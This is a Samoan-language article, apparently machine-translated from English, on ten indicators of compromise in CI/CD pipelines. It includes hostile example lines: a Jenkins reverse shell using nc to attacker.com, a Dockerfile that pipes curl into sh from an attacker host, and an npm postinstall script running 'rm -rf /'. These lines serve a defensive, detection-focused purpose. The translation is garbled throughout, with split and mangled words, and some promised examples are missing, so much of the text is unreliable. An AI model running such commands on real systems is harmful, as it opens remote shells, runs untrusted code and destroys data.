Faatomuaga: O a Fa'ailoga o le Fete'ena'iga i le Puipuiga Fa'atekonolosi?
O fa'ailoga o le fa'aletonu o fa'ailoga muamua ia o lau faiga po'o pipeline atonu o loo osofaia. I se faaupuga faigofie, fa'ailoga o le fetuutuuna'i o ni faailoga na tuua e tagata osofaʻi, e pei o ni mea uiga ese logins, suiga o faila, po'o ni polokalama leaga natia. I totonu Puipuiga mai fa'alavelave fa'afuase'i a le IOC, latou te amio e pei o ni tamatamailima i se nofoaga o solitulafono, ma avatu ia te oe se faʻamaoniga manino o loʻo i ai se mea sese. O le mea lea, pe a fesili atu tagata atiaʻe o a ni faʻailoga o le faʻamamāina, e lē gata i 'au'aunaga po'o puipui afi le tali, ae e aofia ai fo'i ma tulaga lamatia o lo'o natia i totonu o polokalame fa'aonaponei CI/CD pipelines.
I nei pipelines, e mafai e tagata osofaʻi ona faʻalavelave i le code, faʻaofi ni faʻalagolago leaga, pe suia laʻasaga o le fausiaina e aunoa ma le matauina. Ae ui i lea, o le tele o taʻiala e taulaʻi pea i 'auʻaunaga poʻo fesoʻotaʻiga. O se taunuuga, ua avea le sapalai o polokalama faakomepiuta ma se tasi o sini sili ona faigofie.
O le mafuaʻaga lea e maua ai faʻailoga o le fetuutuunaʻi i CI/CD pipelineE taua tele le s. Ae sili i lo mea uma, e fesoasoani i 'au e poloka polokalame leaga, puipuia mea lilo, ma fa'amautu la'asaga ta'itasi o le tu'uina atu o polokalama faakomepiuta.
Fa'ailoga Sili e 10 o le Fete'ena'iga i totonu CI/CD Pipelines
A fa'amatalaina fa'ailoga o le fa'aletonu, o le tele o lisi e taula'i i 'au'aunaga po'o feso'ota'iga. Ae i totonu CI/CD pipelines, e eseese lava tulagalima e tu'ua e tagata osofa'i. O le iloaina o nei fa'ailoilo e taua tele mo le puipuiga fa'atino. O lo'o i lalo fa'ailoga mumu e 10 a le IOC cybersecurity e tatau i tagata atia'e ma inisinia saogalemu uma ona mata'ituina.
1. Suiga o le Fa'alagolago e Masalomia
O se tasi o faʻailoga autu o le faʻamautuina o le mafutaga i pipelineO le s o se fa'afouga fa'afuase'i ma uiga ese o le fa'alagolago. E masani ona fa'aogaina e le au osofa'i le fa'atuatuaga a le au atina'e i totonu o pule o afifi e fa'aopoopo ai afifi mata'utia.
Mo se faʻataʻitaʻiga, i le npm a package.json e ono fa'afuase'i ona aofia ai i le diff:
O ia suiga e foliga saogalemu ae e mafai ona fa'aofi ai le code trojanized i totonu o fa'atulagaga uma.
Aafiaga: O fausaga ua faaleagaina e mautofi mai le malware i le punavai.
Mauaina: fa'amalosia iloiloga o fa'alagolago, siaki le lockfile diffs, ma su'esu'e afifi fou i taimi uma.
2. Tulafono Fa'alilolilo i Fausiaina
E faʻalagolago tusitala o polokalame leaga i le faʻalilolilo e aloese ai mai iloiloga. O se taunuuga, o lenei faʻailoga o le faʻaletonu i totonu CI/CD pipelineE mafai ona avea le s ma se tasi o mea e sili ona faigata ona pu'eina. O le mea moni, o uta ua fa'alilolilo e masani ona see atu i totonu o faletusi tatala po'o ata o koneteina e aunoa ma se fa'aaliga.
Faataitaiga:
- O se afifi PyPI e faʻaaogaina
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - O se ata Docker ua tumu i UPX binaries e le manaʻomia.
- JavaScript ua tumu i
\x41\x42sola ese e nana ai tagata gaoi tusipasi.
Aafiaga: E fa'atinoina filemu le code natia i le taimi o le fausiaina po'o le taimi e fa'agaoioia ai, lea e avea ai ma faailoilo taua i le puipuiga o le saogalemu a le IOC.
Mauaina: Faatasia SAST fa'atasi ai ma le su'esu'eina o polokalame leaga e fa'ailoa ai tulafono ua fa'ailogaina pe fa'aputuina. Ae sili i lo mea uma, ia va'ai i le fa'alilolilo o se fa'ailoga mumu e tatau ona su'esu'eina atili.
3. Mea Lilo ua Fa'aalia i le Git: O se Lamatiaga Masani a le IOC i le Puipuiga o le Initaneti
CI/CD pipelinee masani ona mautofi sa'o mea lilo mai fale teuoloa. Ae ui i lea, pe a aliali mai mea lilo i le Git, ua avea i latou ma se tasi o tali sili ona manino i le fesili "o a ni faailoga o le fetuunaiga i pipelines?” O le taimi lava e taunuu ai fa'amaoniga i le Git, e mafai loa e tagata osofa'i ona fa'aaogaina e aunoa ma se fa'avavau.
Faataitaiga:
- A
.envfaila e iaiAWS_SECRET_KEY=. - Fa'ailoga ua tuleia i totonu
config.json. - O mealilo o loʻo vaʻaia pea i le talafaasolopito o le Git e tusa lava pe ua uma ona aveeseina.
Aafiaga: O ki ua fa'aalia e maua ai e le au osofa'i le avanoa sa'o i ai CI/CD pipelines, polokalama ao, poʻo faʻamaumauga. O lea la o se tasi lea o faʻailoga sili ona mataʻutia o le faʻaletonu.
Mauaina: faʻaaogā pre-commit hooks ma galuega CI mo le su'esu'eina faalilolilo, ma aveese vave ki ua tafe. E le gata i lea, fa'amalosia le toe fa'aleleia otometi e fa'aitiitia ai taimi e fa'aalia ai.
4. Fa'aleagaina Pipeline Fa'atulagaga: Fa'ailoga Natia o le Fete'ena'iga
Pipeline o fa'atulagaga o ni sini taua tele ona e masani ona faoa e se suiga e tasi le faiga atoa o galuega. O le iʻuga, ua faʻaleagaina pipeline O faila o se lamatiaga tele lea i luga o le initaneti a le IOC e seasea iloa e meafaigaluega masani e mataʻituina ai.
Faataitaiga:
I Gaioiga a le GitHub:
- I le GitLab: ua fa'aopoopoina se galuega leaga i
.gitlab-ci.ymllea e lafoa'i ai fa'amatalaga maaleale. - I totonu o Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Aafiaga: O nei suiga e le'i fa'amaonia e liliu ai oe pipeline i totonu o se faitotoa tumau i tua mo tagata osofaʻi, lea e manino lava le faitauina o se faailoga o le fetuunaiga.
Mauaina: Fa'amalosia fa'atulagaga ua sainia, mana'omia fa'amaoniga PR, ma mata'ituina galuega e le'i mafaufauina. E le gata i lea, seti guardrails lea e otometi lava ona poloka ai galuega faatino ua suia.
5. Faamanuiaga IaC Faaletonu
O faʻamatalaga sese o atinaʻe e masani ona faia ai ni faitotoʻa i tua e natia. O se taunuuga, o faʻamaumauga faʻapitoa e le masani ai i totonu IaC o se lamatiaga masani a le IOC i luga o le initaneti.
Faataitaiga:
- O se fa'atulagaga Kubernetes e tu'uina atu ai pods
privileged: true. - O siata o le foeuli e faʻaalia ai auaunaga faʻatasi ma
0.0.0.0:22.
Aafiaga: E maua e le au osofaʻi le avanoa i le tulaga o le root poʻo le faʻaalia faʻalauaʻitele o auaunaga i totonu. O le iʻuga, o nei faʻafitauli e faʻalauteleina ai le fogāeleele o le osofaʻiga.
Mauaina: talosaga IaC su'esu'ega e fa'amalosia ai le avanoa aupito itiiti a'o le'i tu'ufa'atasia. E le gata i lea, ia mautinoa o lo'o iloiloina fa'atulagaga ta'itasi o se vaega o le pipeline.
6. Amioga Faufale e Le Masani Ai
E masani ona suia e le au osofaʻi pipeline amioga e see atu ai i ni gaioiga leaga. I se isi faaupuga, o gaioiga faufale e le masani ai o se tasi lea o tali sili ona manino i mea o loʻo faʻaalia ai le faʻaletonu i totonu CI/CD pipelines.
Faataitaiga:
- Fausiaina e faia ai talosaga feso'ota'iga i fafo atu i vaega ese.
- O se galuega faatino a le Node.js ua faafuaseʻi ona faʻatupuina le PowerShell i le taimi
npm install. - O se galuega a le CI e la'uina mai ai ni binary tetele e le'o fa'amatalaina i tusitusiga faufale.
Aafiaga: E mafai e fausaga ua faaleagaina ona avea ma nofoaga e tufatufa atu ai polokalama leaga. Ae sili i lo mea uma, latou te faasalalauina atu avega leaga i totonu o faʻatulagaga uma.
Mauaina: Mata'ituina fa'amaumauga o le fausiaina mo ni faiga po'o ni feso'ota'iga e le'i mafaufauina. E le gata i lea, fa'atulaga le iloa o mea e le masani ai e fa'ailoa ai amioga e le masani ai.
7. Scripts Afīfī Matagā o ni Lamatiaga i le Puipuiga Fa'atekonolosi a le IOC
E lagolagoina e pule o afifi le olaga atoa hooks e fa'aaogaina e tagata osofa'i. O le mea lea, o tusitusiga leaga i le npm, PyPI, po'o Dockerfiles o ni fa'ailoga malolosi ia o le fa'aleagaina.
Faataitaiga:
- npm:
postinstallo lo'o fa'agaoioia le tusitusigarm -rf /po'o le fa'ailoa atu o se moli i le C2. - PyPI:
setup.pyfaʻatinoina le code Python natia i le taimi e faʻapipiʻi ai. - Faila o le Docker:
RUN curl attacker.sh | sh.
Aafiaga: E fa'atino le osofa'iga i le taimi o le fa'apipi'iina, a'o le'i faia ni su'ega i le taimi e fa'atino ai. O le i'uga, e ono le matauina e le au atia'e se'ia o'o ina tuai tele.
Mauaina: Siaki foliga o le afifi mo tusitusiga fa'apipi'i. E le gata i lea, fa'atapula'a mea lamatia hooks in CI/CD galuega e faʻaitiitia ai faʻalavelave faʻafuaseʻi.
8. Fa'ailoga o le Fete'ena'iga i le Fa'aleagaina o le Resitala
E sui pe fa'asa'oina e le au osofa'i mea totino i totonu o resitala, ma o nei mea na tutupu o ni fa'ata'ita'iga masani ia o fa'ailoga o le fa'aletonu i le sapalai oloa. pipelines.
Faataitaiga:
- O se pine ata Docker ua fa'afouina filemu i se vaega ua fa'atrojanized.
- O se afifi i totonu ua suia i se lomiga ua fa'a'ona.
- fa'aputuina o le namespace npm, e pei o
lodash-proxy.
Aafiaga: O fauga uma e faʻaaogaina ai mea totino o le resitala e ono faʻaleagaina. E le gata i lea, ae o le faʻaleagaina e sosolo atu i auaunaga i lalo ifo.
Mauaina: Fa'amalosia siaki saini ma le fa'amaoni i luga o fa'amaumauga uma a le resitala. E le gata i lea, siaki le amataga o mea tuai ma SBOM faʻamaonia
9. Gaoioiga Lē Masani a Tagata Faʻaoga e fai ma Faʻamaoniga a le IOC
E toetoe lava o taimi uma e tuua ai ni faailoga e le masani ai e teu ai ni teugatupe ua faaleagaina. O le mea lea, o amioga lē masani a le au atinaʻe o se faʻailoga malosi lea o le faʻaletonu.
Faataitaiga:
- Commitna tuleia i le 3 i le taeao, taimi i le lotoifale.
- Fa'amaoniga a le PR e le au teu tupe i aso malolo.
- Pipelinee fa'agaoioia i se taimi e le masani ai.
Aafiaga: E fa'aaogā sese e le au osofa'i ia fa'amaoniga na gaoia e fa'aopoopo ai ni suiga leaga. Auā, e le'i fa'atagaina commite faigofie ona fa'afefiloi ma le faiga masani o galuega.
Mauaina: monito SCM gaoioiga mo mea sese, fa'amalosia le MFA, ma sui fa'ailoga i taimi uma. E le gata i lea, ia mataala i mea e masalomia commit po'o mamanu o le fa'amaoniga.
10. Siakiina o le Integrity po'o le Saini ua Le Manuia i le IOC Cybersecurity
O se mea masani ae le amana'iaina fa'ailoga o le fetuutuuna'i o se siaki ua le manuia o le faamaoni po o le siakiina o saini. I le IOC cybersecurity, o nei siaki e faamaonia ai le moni o le code po o meafaitino. O le misia o ia mea e alu ese ai pipelines fa'aalia.
faataitaiga:
- O le SHA256 hash e le fetaui ma le checksum e faʻamoemoeina.
- O se saini GPG ua misi pe le aoga.
- An SBOM o loʻo faʻaalia ai mea taua e leʻi sainia.
Aafiaga: O le faaletonu o le faamaoni e masani ona oo atu ai i le faaleagaina, faaleagaina o le resitala, po o le tuiina o polokalama leaga.
Mauaina: Fa'aautomatika siaki saini, fa'amalosia le fa'amaoniga o le siaki, ma poloka vaega e le'i sainia. Ae sili i lo mea uma, ia va'ai i siaki uma e le'i manuia o se fa'amaoniga manino o le fa'aletonu.
CI/CD Fa'ailoga o le Fete'ena'iga i se Va'aiga Pupuu
| Fa'ailoga o le Fete'ena'iga (IOC) | A'afiaga i totonu CI/CD Pipelines | Auala e Su'eina |
|---|---|---|
| Suiga o le Fa'alagolago e Masalomia | E fa'aofi e le au osofa'i ni faletusi leaga i totonu o pule o afifi, ma i'u ai i ni fa'atulagaga fa'aletonu. | Siaki le eseesega o faila loka, fa'amalosia iloiloga o fa'alagolago, ma su'esu'e fa'alagolago i taimi uma. |
| Tulafono Fa'alilolilo i totonu o Fausiaga | E fa'atinoina avega lilo i le taimi o fausiaina po'o le taimi fa'atino e aunoa ma le iloa. | faʻaaogā SAST ma le su'esu'eina o polokalame leaga e fa'ailoa ai mamanu o le base64, hex, po'o ni fa'asologa o code ua uma ona fa'apipi'iina. |
| Mea Lilo ua Fa'aalia i le Git | O fa'ailoga ua tafe ifo po'o ki API e tu'uina atu ai i tagata osofa'i le avanoa sa'o i faiga taua. | Fa'atino ni su'esu'ega faalilolilo i le Git hooks ma otometi lava ona aveese fa'amaoniga ua fa'asalalauina. |
| Fa'aleagaina Pipeline Faʻamaumauga | O faiga fa'agasolo ua suia e mafai ai ona fa'asalalauina fa'amaumauga pe fa'aauau pea i totonu CI/CD. | Mana'omia fa'atagaga PR, fa'amalosia fa'atulagaga ua sainia, ma mata'ituina pipeline suiga. |
| Avanoa IaC Faaletonu | O matafaioi e soona fa'atagaina tele pe le fa'amautuina o tulaga fa'aletonu e fa'aalia ai siosiomaga ao. | Skena faila o Terraform, Kubernetes, ma Helm mo le fa'amalosia o avanoa e sili ona maualalo. |
| Amioga Faufale e Le Masani Ai | Pipelinee fa'aaogaina o ni nofoaga e tufatufa atu ai polokalame leaga pe mo gaioiga i autafa. | Iloilo fa'amaumauga o le fausiaina mo ni la'uina mai e le'i fa'amoemoeina, fa'agasologa, po'o ni vala'au e alu atu i fafo. |
| Tusitusiga Fa'aputuga Mata'utia | E fa'aosofia e tusitusiga lilo a'o le'i/pe a uma ona fa'apipi'i ni uta (payloads) a'o le'i faia le su'ega i le taimi e fa'atino ai. | Poloka tusitusiga npm/PyPI lamatia ma fa'atapula'a le fa'atinoina i totonu CI/CD galuega. |
| Fa'a'ona o le Resitala | E suitulaga ata fa'atuatuaina po'o binaries i totonu o resitala i meafaitino ua fa'aaogaina e Trojan. | Fa'amaonia siaki, fa'amalosia le fa'amaoniga o saini, ma su'esu'e muamua resitala. |
| Gaoioiga Fa'a-tagata Fa'aoga e Le'i Fa'atulagaina | O tala fa'aletonu e fa'asalalauina ai ni fa'amatalaga leaga commits po'o le fa'agaoioiga pipelines. | Fa'amalosia le MFA, mata'ituina commits mo mea e le masani ai, ma iloilo login mamanu. |
| Siakiina o le Fa'amaoni po'o le Saini ua Le Manuia | Fa'ailoa mai ai le code ua fa'aleagaina, fa'alagolago, po'o ata o lo'o ulufale i le pipeline. | Fa'aotometi le siakiina o le sa'o ma poloka vaega e le'i sainia pe le fetaui. |
Aiseā e Le'i Maua ai le Puipuiga Fa'atekonolosi Fa'aonaponei a le IOC CI/CD lamatiaga
O le tele o faʻalapotopotoga ua uma ona mataʻituina faʻailoga o le faʻaleagaina i luga o 'auʻaunaga, komepiuta, poʻo fesoʻotaʻiga. Peitaʻi, o lenei auala masani i le puipuiga o le saogalemu a le IOC e le amanaʻiaina CI/CD pipelines, lea ua avea nei ma se tasi o osofaʻiga sili ona taua. O le mea moni, pipelineo loʻo faʻaalia e s ni faʻailoga tulaga ese o le faʻaletonu e le mafai e meafaigaluega masani ona iloa.
Fa'ailoga o le Fete'ena'iga i le Puipuiga Masani
I le faiga masani a le IOC i luga o le initaneti, o le taulaʻiga masani e masani lava i:
- ese logins po'o tuatusi IP e fa'ailoa mai ai fa'amaoniga ua gaoia.
- O fa'aletonu masalomia o faila po'o suiga i le resitala e fa'aalia ai polokalama leaga.
- Fefa'ataua'iga e le'i fa'amoemoeina e fa'asino i le aveeseina o fa'amaumauga.
O fa'ailoga lauiloa ia e mata'ituina fo'i i le MITER ATT&CK auivi, lea e faʻafanua ai amioga masani a le fili ma togafiti. O ni faʻailoga aoga ia. Peitaʻi, e faʻatatau tele i faiga faʻaoga poʻo fesoʻotaʻiga faʻapisinisi. O se taunuuga, latou te misia ai le faʻalavelave faʻalilolilo e tupu muamua i le sapalai o polokalama faakomepiuta.
Aisea CI/CD Pipelines E Eseese
CI/CD pipelineo ni siosiomaga otometi lea e faia ai e le au atina'e commit code, toso fa'alagolago, ma fa'asa'olotoga fausia. Ua iloa e le au osofa'i e tasi le fa'aletonu iinei e fa'asolosolo i luga o fa'atulagaga uma. O le mea lea, o a fa'ailoga o le fa'aletonu i totonu CI/CD pipelines? E matuā eseese lava o latou foliga:
- O se fa'alagolago leaga na fa'aopoopoina faalilolilo i le package.json po'o le requirements.txt.
- O ki API po'o fa'ailoga ua fa'aalia i le Git commitfaila s po'o le .env.
- O le code fa'alilolilo ua tuiina i totonu o afifi npm po'o PyPI.
- Faila Terraform po'o Kubernetes e iai fa'amaumauga e le saogalemu e pei o le privileged: true.
- Pipeline galuega ua fa'asa'oina e aveese ai fa'amaumauga pe tatala ai faitoto'a i tua.
O nei fa'ailoga o le fa'aletonu i totonu CI/CD tumau pea le lē vaaia e standard meafaigaluega saogalemu.
O le Va i le Puipuiga Fa'akomepiuta a le IOC
E ui lava e malamalama le tele o 'au i le taua o fa'ailoga o le fa'aleagaina, ae latou te fa'alagolago pea i le iloa mai 'au'aunaga ma fa'amaumauga o feso'ota'iga. O le mea lea, e mafai e tagata osofa'i ona fa'aleagaina ni fa'afouga pe fa'aofi ni polokalama fa'aletonu e aunoa ma le tu'ua o fa'ailoga masani. O le mafua'aga lea na le iloa ai mea na tutupu e pei o le XZ Utils backdoor po'o ni afifi leaga o le npm se'ia o'o ina o'o i le gaosiga.
O nei ituaiga o fetuunaiga o le sapalai oloa e faʻamamafaina foʻi e CISTaiala mo le saogalemu o le sapalai o sapalai a A, lea e lapatai mai ai o loo faateleina le taumafai o tagata osofaʻi CI/CD pipelines ma resitala.
O le Aveesea
E manaʻomia le puipuiga o le saogalemu masani a le IOC ae e le lava. Ae sili i lo mea uma, e tatau i 'au ona iloa faʻailoga o le faʻaleagaina e patino i CI/CD pipelines. Ona pau lea ona mafai ona latou iloa ai se polokalame leaga po'o se pipeline fa'asaunoaina a'o le'i salalau atu i siosiomaga.
